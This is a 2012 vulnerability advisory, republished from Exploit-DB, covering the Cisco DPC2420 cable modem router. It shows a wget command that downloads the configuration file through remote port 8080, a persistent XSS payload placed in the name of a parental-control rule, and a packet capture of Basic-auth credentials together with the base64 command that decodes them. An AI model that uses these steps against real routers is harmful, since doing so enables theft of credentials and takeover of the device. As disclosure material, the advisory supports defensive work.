Cisco DPC2420 – Multiples Vulnerabilities

  • 作者: Facundo M. de la Cruz
    日期: 2012-12-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23250/
  • -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    ##
    ## ->Title: DPC2420 Multiple vulnerabilities
    ## -> Author: Facundo M. de la Cruz (tty0)
    ## -> E-mail: fmdlc@code4life.com.ar
    ##=20
    
    [0x00]> Details
    
     Vendor: Cisco
     Model : DPC2420
     type: Cablemodem router.=20
     Firmware: D2425-P10-13-v202r12811-110511as-TRO.bin
     Software: D2425-P10-13-v202r12811-110511as-TRO
     Website : http://www.cisco.com/web/consumer/support/modem_DPC2420.html
    
    [0x01]> Configuration file disclosure
    
    Some ISP's (like the Argentinean Telecentro) could make some changes in the=
     router configration via the=20
    TCP 8080 port.
    
    If the remote config option is enabled and the port is not filter, an attac=
    ker can download this file=20
    calling the correct URL. For example:
    
    
    $ wget http://foobar:8080/filename.gwc -O filename.gwc=20
    - --2012-12-08 21:24:43--http://foobar:8080/filename.gwc
    Connecting to foobar:8080... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/octet-stream Content-transfer-encoding: bi=
    nary]
    Saving to: =E2=80=9Cfilename.gwc=E2=80=9D
    
    [<=>] 15,=
    92750.9K/s in 0.3s =20
    
    2012-12-08 21:24:43 (50.9 KB/s) - =E2=80=9Cfilename.gwc=E2=80=9D saved [159=
    27]
    
    $ head -n 10 filename.gwc=20
    CRCVALUE=4144540802;
    #<<Begin of Configuration File>>
    Version=1.1;
    Created Date=2012/12/8;
    Created Time=21:24:43;
    Model Number=DPC2420;
    Serial Number=234905123;
    User Password=ky3gUCBmdwbaviPW5GxMZ8vdgzHjvS3wKfdF2Lhbdwq+S6qn+1fvgs54YBw=
    l0jX2glgaQuXx27Eo3FgAz5E1N7bk9yR
    7hDbzGS+y7XY4jJjY5yin5SkqAQp9GJl/sZO4t4D7TJzy2oV43flEwmdIPkyJC74zTOYZhb24UL=
    Jz3HV6ci5wn3gMPi0rSTkUc3pzHdiK
    WMMAsuMrYBi5MU9yqZ1vhCfC/c2Is1xgU1Kq0Y1Wcn2LdmRFU6+7rjRuN6iisAQZRQcF/kiym5V=
    ewYRBbnRNKjMXC0fw+M9y4V7Y8S4B6
    3XuEwcq3OPUSLWKaA6yPDN5e5ZNxwJJuxldirDXBg==;
    [---OUTPUT OMITTED FOR SPACE REASONS---]
    
    [0x02]> - Persistent XSS
    
    With a valid user in the router web interface for managment and configurati=
    on, a user could insert JavaScript
    code in this forms and make a XSS, for example add a parental rule called "=
    '/><script>alert(1)</script>.
    
    http://192.168.0.1/RgParentalBasic.asp
    
    - -> Attachments: http://tty0.code4life.com.ar/CISCO-DPC2420-XSS.png
    
    [0x03]> Authtype Basic=20
    
    An attacker making an ARP poisoning attack could get the router loggin cred=
    entials due the web interface=20
    authentication type is auth-basic.=20
    Then the attacker could get the Base64 encoded password and convert it to p=
    lain text easily.=20
    
    20:58:47.879985 IP 172.16.1.242.34464 > 192.168.0.1.http: Flags [P.], seq 0=
    :372, ack 1, win 115
    
    0x0000:4500 01a8 fdf4 4000 4006 ccaf ac10 01f2E.....@.@.......
    0x0010:c0a8 0001 86a0 0050 e4cf 13e5 76c7 819e.......P....v...
    0x0020:8018 0073 03c2 0000 0101 080a 055f ee19...s........._..
    0x0030:0000 be7e 4745 5420 2f73 6967 6e61 6c2e...~GET./signal.
    0x0040:6173 7020 4854 5450 2f31 2e31 0d0a 486fasp.HTTP/1.1..Ho
    0x0050:7374 3a20 3139 322e 3136 382e 302e 310dst:.192.168.0.1.
    0x0060:0a55 7365 722d 4167 656e 743a 204d 6f7a.User-Agent:.Moz
    0x0070:696c 6c61 2f35 2e30 2028 5831 313b 204cilla/5.0.(X11;.L
    0x0080:696e 7578 2078 3836 5f36 343b 2072 763ainux.x86_64;.rv:
    0x0090:3136 2e30 2920 4765 636b 6f2f 3230 313016.0).Gecko/2010
    0x00a0:3031 3031 2046 6972 6566 6f78 2f31 362e0101.Firefox/16.
    0x00b0:300d 0a41 6363 6570 743a 2074 6578 742f0..Accept:.text/
    0x00c0:6874 6d6c 2c61 7070 6c69 6361 7469 6f6ehtml,application
    0x00d0:2f78 6874 6d6c 2b78 6d6c 2c61 7070 6c69/xhtml+xml,appli
    0x00e0:6361 7469 6f6e 2f78 6d6c 3b71 3d30 2e39cation/xml;q=0.=
    9
    0x00f0:2c2a 2f2a 3b71 3d30 2e38 0d0a 4163 6365,*/*;q=0.8..Acc=
    e
    0x0100:7074 2d4c 616e 6775 6167 653a 2065 6e2dpt-Language:.en-
    0x0110:5553 2c65 6e3b 713d 302e 350d 0a41 6363US,en;q=0.5..Ac=
    c
    0x0120:6570 742d 456e 636f 6469 6e67 3a20 677aept-Encoding:.gz
    0x0130:6970 2c20 6465 666c 6174 650d 0a43 6f6eip,.deflate..Con
    0x0140:6e65 6374 696f 6e3a 206b 6565 702d 616cnection:.keep-al
    0x0150:6976 650d 0a52 6566 6572 6572 3a20 6874ive..Referer:.ht
    0x0160:7470 3a2f 2f31 3932 2e31 3638 2e30 2e31tp://192.168.0.1
    0x0170:2f77 6562 7374 6172 2e68 746d 6c0d 0a41/webstar.html..A
    0x0180:7574 686f 7269 7a61 7469 6f6e 3a20 4261uthorization:.Ba
    0x0190:7369 6320 4f6b 4d30 626d fa38 3443 a9c0sic.aWFtYXBhc3N3
    0x01a0:1b4e 1134 640a 054bZAo==....
    
    - From 0x0180 offset to the end of the packet payload the attacker could ge=
    t the password=20
    encoded with Base64 and simply convert it to plain text:
    
    $ echo aWFtYXBhc3N3ZAo== | base64 -d
    iamapassword
    
    - ---
    1355011796
    
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